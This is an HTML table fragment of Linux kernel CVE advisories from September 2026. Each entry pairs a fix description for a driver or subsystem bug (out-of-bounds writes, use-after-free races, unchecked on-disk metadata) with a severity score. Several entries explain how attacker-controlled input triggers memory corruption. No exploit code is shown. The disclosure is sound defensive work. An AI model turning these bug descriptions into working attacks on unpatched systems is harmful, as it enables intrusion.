&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89711&quot; target=&quot;_blank&quot;&gt;CVE-2026-89711&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: cec: stm32: prevent out-of-bounds write on RX overflow stm32_rx_done() appends each received CEC byte to rx_msg.msg[] using rx_msg.len as the write index, incrementing it on every RXBR (receive-byte-ready) interrupt without checking it against the buffer size: cec-&amp;gt;rx_msg.msg[cec-&amp;gt;rx_msg.len++] = val &amp;amp; 0xFF; rx_msg.msg[] is a fixed CEC_MAX_MSG_SIZE (16) byte array in struct cec_msg, and rx_msg.len is only reset on RXACKE/RXOVR or after a completed message (RXEND). The number of bytes received before RXEND is decided by the remote CEC device (it sets EOM), not by the driver. A peer that keeps sending bytes without ending the message drives RXBR repeatedly, pushing rx_msg.len past 16 and writing peer-controlled bytes out of bounds into the surrounding memory. This is reachable in normal operation once the driver has probed and receiving is enabled, from the IRQ thread, without any local privilege. The length check in the CEC core runs on the consumer side, after the byte has been stored, so it does not prevent the overflow. Bound the index in the driver before the store, as the other platform CEC drivers already do (e.g. tegra_cec), dropping the excess bytes of an overlong frame. Found by static analysis tool CodeQL.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89725&quot; target=&quot;_blank&quot;&gt;CVE-2026-89725&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: sensor-hub: Fix out-of-bounds write in sensor_hub_get_feature sensor_hub_get_feature() clamps its return value to the caller&#039;s buffer size, but the copy loop still copies field-&amp;gt;report_size / 8 bytes for each report value. A malicious HID descriptor can advertise a large feature field size while an IIO caller supplies a small stack buffer, such as a single s32, causing an out-of-bounds write. HID core stores parsed report values in __s32 slots and clamps extracted values to 32 bits. Reject feature fields that require more than one slot per value, guard the total byte count calculation, and clamp each per-value copy to the remaining caller buffer.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89729&quot; target=&quot;_blank&quot;&gt;CVE-2026-89729&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: device property: fix infinite loop in fwnode_for_each_child_node() When iterate over children of a fwnode that has a secondary fwnode, fwnode_get_next_child_node() can enter an infinite loop if the secondary fwnode has more than one child. Parent Child (Primary fwnode) FWa: {FWa1, FWa2, FWa3} (Secondary fwnode) FWb: {FWb1, FWb2} In this case: â”Œâ”€&amp;gt; fwnode_get_next_child_node(FWa, FWa1) â”‚ - fwnode_call_ptr_op(FWa, get_next_child_node, FWa1) returns FWa2 â”‚ â”‚ ... â”‚ â”‚ fwnode_get_next_child_node(FWa, FWa3) â”‚ - fwnode_call_ptr_op(FWa, get_next_child_node, FWa3) returns NULL â”‚ - fwnode_call_ptr_op(FWb, get_next_child_node, FWa3) returns FWb1 â”‚ â”‚ fwnode_get_next_child_node(FWa, FWb1) â”‚ - fwnode_call_ptr_op(FWa, get_next_child_node, FWb1) returns FWa1 â””â”€â”€â”€â”€â”˜ This cause fwnode_for_each_child_node() to loop indefinitely, reapeatedly output {FWa1, FWa2, FWa3, FWb1, FWa1, ...}. The root cause is that when the current child (FWb1) belongs to the secondary fwnode, calling get_next_child_node() on the parimary fwnode incorrectly returns the first child (FWa1) again instead of NULL. Fix this by dynamically checking the parent fwnode of the current child before calling get_next_child_node(). This approach follows the pattern established in commit b5b41ab6b0c1 (&quot;device property: Check fwnode-&amp;gt;secondary in fwnode_graph_get_next_endpoint()&quot;).&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89744&quot; target=&quot;_blank&quot;&gt;CVE-2026-89744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crypto: krb5 - use kfree_sensitive() for derived key buffers crypto_krb5_prepare_encryption() and crypto_krb5_prepare_checksum() free the buffer holding the freshly derived keys with plain kfree(), leaving the key material behind in the freed slab object.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80924&quot; target=&quot;_blank&quot;&gt;CVE-2026-80924&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smack: fix cred UAF in smack_file_send_sigiotask() When inspecting the credentials of another task, objective credentials (-&amp;gt;real_cred, accessed with __task_cred()) must always be used. Accessing -&amp;gt;cred on a non-current task is forbidden unless that task is being created or destroyed; a task is allowed to change its own -&amp;gt;cred pointer with no synchronization, and changing -&amp;gt;cred should only affect the current syscall. smack_file_send_sigiotask() was accessing both sets of credentials: First tsk-&amp;gt;cred, then __task_cred(tsk). Fix it, always access the objective credentials here. I have tested that this bug can lead to a KASAN-reported UAF of struct cred in smack_file_send_sigiotask(), and that this fix prevents the race.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80928&quot; target=&quot;_blank&quot;&gt;CVE-2026-80928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sysctl: move the &quot;cad_pid&quot; entry from pid_table[] to kern_reboot_table[] cad_pid is global, and kill_cad_pid() is only used in the root namespace. However, due to pid_table_root_permissions(), a non-root user can unshare pid/user namespaces and modify it from the child namespace. This makes no sense and is simply wrong. Move it to kern_reboot_table[] where it logically belongs; this ensures that only GLOBAL_ROOT_UID can read/modify this sysctl. Note that this patch doesn&#039;t preserve &quot;#ifdef CONFIG_PROC_SYSCTL&quot; around the &quot;cad_pid&quot;; CONFIG_PROC_SYSCTL selects CONFIG_SYSCTL, so it is always set when kern_reboot_table[] is compiled.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80929&quot; target=&quot;_blank&quot;&gt;CVE-2026-80929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: w1: ds28e17: reject an oversize length on an I2C block read w1_f19_i2c_master_transfer() is the master_xfer for the DS28E17 1-Wire to I2C bridge. On an I2C_M_RECV_LEN read, it takes the length from the device. The downstream slave puts a length byte in buf[0]. The driver then reads that many bytes into buf[1] with w1_f19_i2c_read(). buf[0] is controlled by the device and can be 0 to 255. w1_f19_i2c_read() only rejects a zero count. The caller buffer is I2C_SMBUS_BLOCK_MAX + 2, so 34 bytes. A length above 32 makes the read run past it, up to about 222 bytes out of bounds. The SMBus core does check buf[0] against I2C_SMBUS_BLOCK_MAX. That check runs after master_xfer returns. By then the write is already done. i2c-algo-bit rejects an oversize length before it copies, and returns -EPROTO. Reject a length above I2C_SMBUS_BLOCK_MAX at both RECV_LEN sites, the same way i2c-algo-bit does.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80931&quot; target=&quot;_blank&quot;&gt;CVE-2026-80931&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: validate default EEPROM firmware size The default EEPROM firmware is parsed and copied as a full EEPROM without checking its length. A truncated file can make the driver read beyond the firmware buffer during variant validation or the fallback copy. Reject files shorter than MT7996_EEPROM_SIZE before parsing or copying the firmware.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80933&quot; target=&quot;_blank&quot;&gt;CVE-2026-80933&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7925: cancel mlo_pm_work on stop mt7925 queues mlo_pm_work with a 5 second delay during multi-link power-save setup and never cancels it on the stop path. If the device is torn down inside that window, the work outlives the teardown and its timer fires afterwards, trying to queue onto the workqueue that is already gone: workqueue: cannot queue mt7925_mlo_pm_work [mt7925_common] on wq phy0 WARNING: kernel/workqueue.c:2283 at __queue_work+0x59/0xa0, CPU#1: swapper/1/0 call_timer_fn+0x2a/0x140 __run_timers+0x203/0x330 run_timer_softirq+0x86/0xf0 mt7921 already has its own stop callback, so add one for mt7925 that cancels the work before calling mt792x_stop(). mt7925_ops backs both the PCIe and USB drivers, so this covers both.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80936&quot; target=&quot;_blank&quot;&gt;CVE-2026-80936&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: rtlwifi: rtl8192du: check QoS TID before indexing tids rtl92du_tx_fill_desc() uses ieee80211_get_tid() to read the QoS TID from the 802.11 header and then uses it as an index into sta_entry-&amp;gt;tids[]. ieee80211_get_tid() returns the low 4-bit QoS TID value, so the result can be in the range 0..15. rtlwifi only allocates MAX_TID_COUNT entries for sta_entry-&amp;gt;tids[], and MAX_TID_COUNT is 9. A QoS TID greater than 8 therefore indexes past the aggregation state array. Keep the default RTL_AGG_STOP state for out-of-range TIDs, matching rtl92cu_tx_fill_desc(). This issue was detected by our static analysis tool and confirmed by manual audit. UBSAN validation for the same bug pattern reports an array-index-out-of-bounds access with index 10 for type &#039;rtl_tid_data [9]&#039;.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80943&quot; target=&quot;_blank&quot;&gt;CVE-2026-80943&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mwifiex: Detach sync cmd buffer on interrupted wait mwifiex synchronous commands keep the caller-provided data buffer in cmd_node-&amp;gt;data_buf. Several callers pass stack-allocated objects there. If wait_event_interruptible_timeout() is interrupted, the caller can return and release that stack object while the firmware command is still the current command. A late firmware response then reaches the normal response handler, which can copy data through cmd_node-&amp;gt;data_buf into the stale stack address. This fixes a stack corruption observed during repeated association and disassociation cycles. The panic trace showed the command wait being interrupted immediately before a bad pointer dereference: cmd_wait_q terminated: -512 Unable to handle kernel paging request at virtual address 002c583837384662 Kernel panic - not syncing: stack-protector: Kernel stack is corrupted ... Tainted: [M]=MACHINE_CHECK The fault address decodes as little-endian ASCII: 0x002c583837384662 -&amp;gt; &quot;bF878X,\0&quot; which is a fragment of the VERSION_EXT firmware string exposed as debugfs &quot;verext&quot;: w8997o-V4, RF878X, FP92, 16.92.21.p153.7 The same runs also showed corrupted control data containing: 0x2400372e333531 -&amp;gt; &quot;153.7\0$&quot; which is the tail of the same VERSION_EXT string. This points at a late VERSION_EXT response writing through a stale stack-backed data_buf after the interrupted wait returned. After cancelling pending commands on an interrupted or timed-out wait, detach the caller-owned data buffer from the still-current command. This preserves the existing command cancellation behaviour while preventing a late response from writing through a pointer whose lifetime ended with the waiting caller. Tested on an i.MX8MP board using an 88W8997.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80944&quot; target=&quot;_blank&quot;&gt;CVE-2026-80944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: rtl8xxxu: fix use-after-free from rx_urb_wq on stop rtl8xxxu arms rx_urb_wq from the RX completion path: rtl8xxxu_rx_complete() hands the URB to rtl8xxxu_queue_rx_urb(), which queues it on rx_urb_pending_list and, once the list grows past RTL8XXXU_RX_URB_PENDING_WATER, schedules rx_urb_wq. The worker rtl8xxxu_rx_urb_work() drains rx_urb_pending_list, recovers priv through container_of, and resubmits each URB through rtl8xxxu_submit_rx_urb(), which anchors it on rx_anchor and dereferences priv-&amp;gt;udev. rtl8xxxu_stop() cancels the sibling work items (c2hcmd_work, ra_watchdog, update_beacon_work) but never cancels rx_urb_wq, so a worker armed during the last burst of RX traffic can run rtl8xxxu_rx_urb_work() after rtl8xxxu_disconnect() has called ieee80211_free_hw(), which frees priv, producing a use-after-free. The window opens under active RX traffic (pending count above the watermark) followed by a disconnect. There are two teardown races to close: * rtl8xxxu_queue_rx_urb() decided whether to enqueue under rx_urb_lock but called schedule_work() after dropping the lock. A completion that observed shutdown == false and released the lock could then call schedule_work() after rtl8xxxu_stop() had set shutdown and cancel_work_sync() had already returned, arming the worker to run after the teardown. Move schedule_work() under the same !shutdown branch so the arming decision is atomic with the shutdown check. * rtl8xxxu_rx_urb_work() anchors every URB it drained back onto rx_anchor through rtl8xxxu_submit_rx_urb(). A worker still running when usb_kill_anchored_urbs(&amp;amp;priv-&amp;gt;rx_anchor) returned would submit a URB that escaped the kill. In rtl8xxxu_stop(), call cancel_work_sync(&amp;amp;priv-&amp;gt;rx_urb_wq) before the kill so the worker is drained first. After priv-&amp;gt;shutdown is set under rx_urb_lock, completions can no longer queue rx_urb_wq. cancel_work_sync() then drains the last queued or running worker, and the following usb_kill_anchored_urbs() kills the URBs it may have submitted. rtl8xxxu_disconnect() is covered because ieee80211_unregister_hw() guarantees .stop() runs for a live interface before ieee80211_free_hw() frees priv. The probe error path needs no cancel: rx_urb_wq is INIT_WORK()&#039;d there but cannot have been scheduled, since no URB is submitted before ieee80211_register_hw() succeeds. This bug was found by static analysis.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80947&quot; target=&quot;_blank&quot;&gt;CVE-2026-80947&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i3c: renesas: Check that the transfer is valid before accessing it The Renesas I3C driver uses an asynchronous model to transfer data. It prepares a struct renesas_i3c_xfer, enqueues it, and waits for completion. The interrupt handler dequeues the transfer, updates/uses it, and signals the waiting thread. If the completion times out, the waiting thread dequeues the transfer and free it. If an interrupt fires after that, the handler may access freed memory, leading to crashes. Check that the transfer is still valid before accessing it in the interrupt handler. With it clear any status flags and disable all the interrupts to avoid triggering the same interrupts again.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80950&quot; target=&quot;_blank&quot;&gt;CVE-2026-80950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i3c: master: Fix info leak and UAF in device unregister path i3c_master_unregister_i3c_devs() clears i3cdev-&amp;gt;dev-&amp;gt;desc before calling device_unregister(). During device_unregister(), device_del() emits a KOBJ_REMOVE uevent and unbinds the driver while the device descriptor is still expected to be valid. As a result, i3c_device_uevent() and a racing modalias_show() can observe a NULL desc and fall back to an uninitialized stack struct i3c_device_info, leaking kernel stack contents in the generated modalias. Driver .remove() callbacks may also encounter an unexpected NULL desc during unbind. Keep desc valid until device_unregister() has completed. Since device_unregister() drops the device reference and may free the device, take an extra reference with get_device() before unregistering. Clear desc afterwards and release the extra reference with put_device(). This preserves the release-time invariant that desc must be NULL while avoiding both the information leak and a potential use-after-free from writing desc after the device has been released.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80952&quot; target=&quot;_blank&quot;&gt;CVE-2026-80952&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i3c: Fix unlocked dereference of dev-&amp;gt;desc in i3c_device_get_supported_xfer_mode() i3c_device_get_supported_xfer_mode() uses dev-&amp;gt;desc to obtain the master controller. However, dev-&amp;gt;desc must not be dereferenced unless bus-&amp;gt;lock is held, and this function does not take that lock. The function only needs access to the master controller associated with the device&#039;s bus. Use dev-&amp;gt;bus instead, which is always valid for the lifetime of the device and does not require dereferencing dev-&amp;gt;desc.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80954&quot; target=&quot;_blank&quot;&gt;CVE-2026-80954&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-pcache: fix use-after-free and invalid seg operations in kset_replay() In kset_replay, when key-&amp;gt;seg_gen is stale (key-&amp;gt;seg_gen &amp;lt; key-&amp;gt;cache_pos.cache_seg-&amp;gt;gen), cache_key_put(key) is called but then key-&amp;gt;cache_pos.cache_seg is accessed as the argument to cache_seg_get(). This is a use-after-free on the freed key memory. Although mempool recycled memory is not immediately reclaimed or overwritten in practice, this is still a potential UAF bug. Additionally, for expired invalid keys, setting the cache-&amp;gt;seg_map bit and calling cache_seg_get() is unreasonable since the corresponding segment data is no longer valid. Fix both issues by moving cache_seg_get() and __set_bit() after the gen check, so they only execute for valid keys, and using continue to skip invalid keys.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80955&quot; target=&quot;_blank&quot;&gt;CVE-2026-80955&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-pcache: clamp the tail kset read to the segment data region The tail-kset read in cache_replay(), the writeback worker and the GC worker bounds its length by PCACHE_SEG_SIZE - seg_off, the raw segment size rather than the data region. A tail near the segment end reads past the segment data into the following control area. Clamp the read to cache_seg_remain(), the data region.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80958&quot; target=&quot;_blank&quot;&gt;CVE-2026-80958&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-pcache: bound the persisted tail-position offset cache_pos_decode() takes the persisted key_tail and dirty_tail seg_off from the cache device and addresses within the segment with it. A seg_off at or past the segment data_size, controllable by whoever supplies the device (CAP_SYS_ADMIN), reads past the segment data. Reject a decoded seg_off that is not below the segment data_size.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80959&quot; target=&quot;_blank&quot;&gt;CVE-2026-80959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-pcache: validate kset key_num and intra-segment bounds Two more fields decoded from the cache device go unbounded. The kset key_num drives cache_kset_crc() and the replay loop in cache_replay(), the writeback worker and the GC worker, but only the magic and a fixed-seed CRC are checked first, so a non-last kset whose key_num exceeds the PCACHE_KSET_KEYS_MAX buffer reads past its end before the CRC compare. A key&#039;s intra-segment offset and length in cache_key_decode() are taken verbatim, so a key running past its segment is replayed into the cache tree and the data CRC check and every later read hit then copy adjacent persistent memory into the caller&#039;s bio -- an out-of-bounds read that leaks to user space. Both fields are controlled by whoever supplies the cache device (CAP_SYS_ADMIN); the CRC seed is public. Add kset_onmedia_valid() to bound key_num before any kset read, and reject a key whose offset plus length, computed in 64 bits, exceeds the segment data_size. Valid metadata is unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80961&quot; target=&quot;_blank&quot;&gt;CVE-2026-80961&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-pcache: validate geometry fields from on-disk cache_info cache_segs_init() iterates cache_info-&amp;gt;n_segs times indexing cache-&amp;gt;segments[], which is sized to the cache device geometry, and get_seg_id() takes each segment id from the on-media cache_info and the per-segment next_seg link. Both come from cache device metadata that is only CRC-protected with a fixed public seed, so whoever supplies the cache device on a table load (CAP_SYS_ADMIN) controls them: an oversized n_segs or an out-of-range id drives an out-of-bounds access of cache-&amp;gt;segments[] and a wild CACHE_DEV_SEGMENT() pointer into the device mapping -- an out-of-bounds read and write from on-disk data. Reject an n_segs that exceeds the device segment count and a segment id that is out of range before either is used. Valid metadata is unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80962&quot; target=&quot;_blank&quot;&gt;CVE-2026-80962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: bcd2000: clear the URB pointers on disconnect bcd2000_free_usb_related_resources() frees both URBs and leaves the pointers behind: usb_kill_urb(bcd2k-&amp;gt;midi_out_urb); usb_kill_urb(bcd2k-&amp;gt;midi_in_urb); usb_free_urb(bcd2k-&amp;gt;midi_out_urb); usb_free_urb(bcd2k-&amp;gt;midi_in_urb); The rawmidi device outlives that call. A substream that is still open when the device is unplugged reaches bcd2000_midi_send() from the trigger path on close. That function writes to the freed URB and then hands it to the USB core: bcd2k-&amp;gt;midi_out_urb-&amp;gt;transfer_buffer_length = BUFSIZE; ... ret = usb_submit_urb(bcd2k-&amp;gt;midi_out_urb, GFP_ATOMIC); usb_kill_urb() does not stop a later submission either, so a submit that races the disconnect can requeue the URB after it has been reaped. midi_in_urb is exposed the same way: bcd2000_input_complete() resubmits it from the completion handler. KASAN on 7.2.0-rc5 (arm64): BUG: KASAN: slab-use-after-free in bcd2000_midi_send [snd_bcd2000] Write of size 4 at addr ffff00001827d388 by task bpoc/168 __asan_store4 bcd2000_midi_send [snd_bcd2000] bcd2000_midi_output_trigger [snd_bcd2000] snd_rawmidi_kernel_write1 close_substream.part.0 Freed by task 168: usb_free_urb bcd2000_disconnect [snd_bcd2000] BUG: KASAN: slab-use-after-free in usb_submit_urb Read of size 8 at addr ffff00001827d3b8 by task bpoc/168 Clear both pointers after freeing and test them on the paths that can still run. Poison the URBs before freeing them: usb_poison_urb() waits for a running completion handler and rejects any later submission, so after it returns the input path is quiesced and only the rawmidi trigger path can still reach bcd2000_midi_send(). No unpoison is needed; the URBs are freed on the next line. Discovered by XBOW, triaged by Baul Lee &amp;lt;baul.lee@xbow.com&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80971&quot; target=&quot;_blank&quot;&gt;CVE-2026-80971&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mfd: qnap-mcu: keep the reply buffer alive past a command timeout qnap_mcu_exec() publishes an on-stack buffer to the receive path: unsigned char rx[QNAP_MCU_RX_BUFFER_SIZE]; ... reply-&amp;gt;data = rx; reply-&amp;gt;length = length; and qnap_mcu_receive_buf() writes into it from the serdev receive path, which runs out of flush_to_ldisc() and is not serialized against qnap_mcu_exec() at all. bus_lock cannot cover it, because qnap_mcu_exec() holds that mutex across wait_for_completion_timeout(). On a timeout qnap_mcu_exec() returns with reply-&amp;gt;data still pointing at its own frame. A reply that arrives late, or an unsolicited message from the MCU, is then written into a stack frame that has been left, corrupting whatever runs next on that stack. The same applies when qnap_mcu_write() fails, since that path returns without touching the reply state either. Move the receive buffer into struct qnap_mcu. It is 37 bytes and the structure is devm_kzalloc()ed, so it lives as long as the driver, and a late write lands in memory that is still valid and is reinitialized by the next command. bus_lock keeps commands from sharing it. This deliberately does not clear reply-&amp;gt;data or reply-&amp;gt;length on the timeout path. Doing so races with qnap_mcu_receive_buf(), which reads both after its if (!reply-&amp;gt;length) return size; check: clearing reply-&amp;gt;data gives a NULL dereference, and clearing reply-&amp;gt;length alone removes the reply-&amp;gt;received == reply-&amp;gt;length exit condition, so the copy loop runs until the uart chunk is consumed and overruns the buffer. Leaving both set keeps the write bounded by reply-&amp;gt;length, which qnap_mcu_exec() has already checked against sizeof(mcu-&amp;gt;rx).&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80975&quot; target=&quot;_blank&quot;&gt;CVE-2026-80975&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: skbuff: don&#039;t touch shared zerocopy state in skb_tx_error() skb_tx_error() completes the zerocopy uarg and clears SKBFL_ALL_ZEROCOPY, and skb_zcopy_downgrade_managed() clears SKBFL_MANAGED_FRAG_REFS. Both live in skb_shinfo(), which every clone shares, while the caller only owns the reference it is about to drop. Through a clone it tells the producer its pages are free and drops SKBFL_SHARED_FRAG for an skb that is still in flight. Open vSwitch reaches this with a non-last OVS_ACTION_ATTR_RECIRC: clone_execute() sends a skb_clone() into ovs_dp_process_packet() while do_execute_actions() keeps forwarding the original, and skb_clone() does not privatise the frags here -- skb_orphan_frags() returns early on SKBFL_DONT_ORPHAN. A flow miss on the clone then strips the marker from the packet still being forwarded, and a later local ESP delivery decrypts in place over frags it does not own privately. Skip it for a cloned skb. Nothing is lost: skb_release_data() clears the zerocopy state once the last reference to the shared data goes.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80977&quot; target=&quot;_blank&quot;&gt;CVE-2026-80977&lt;/a&gt;&lt;/td&gt;
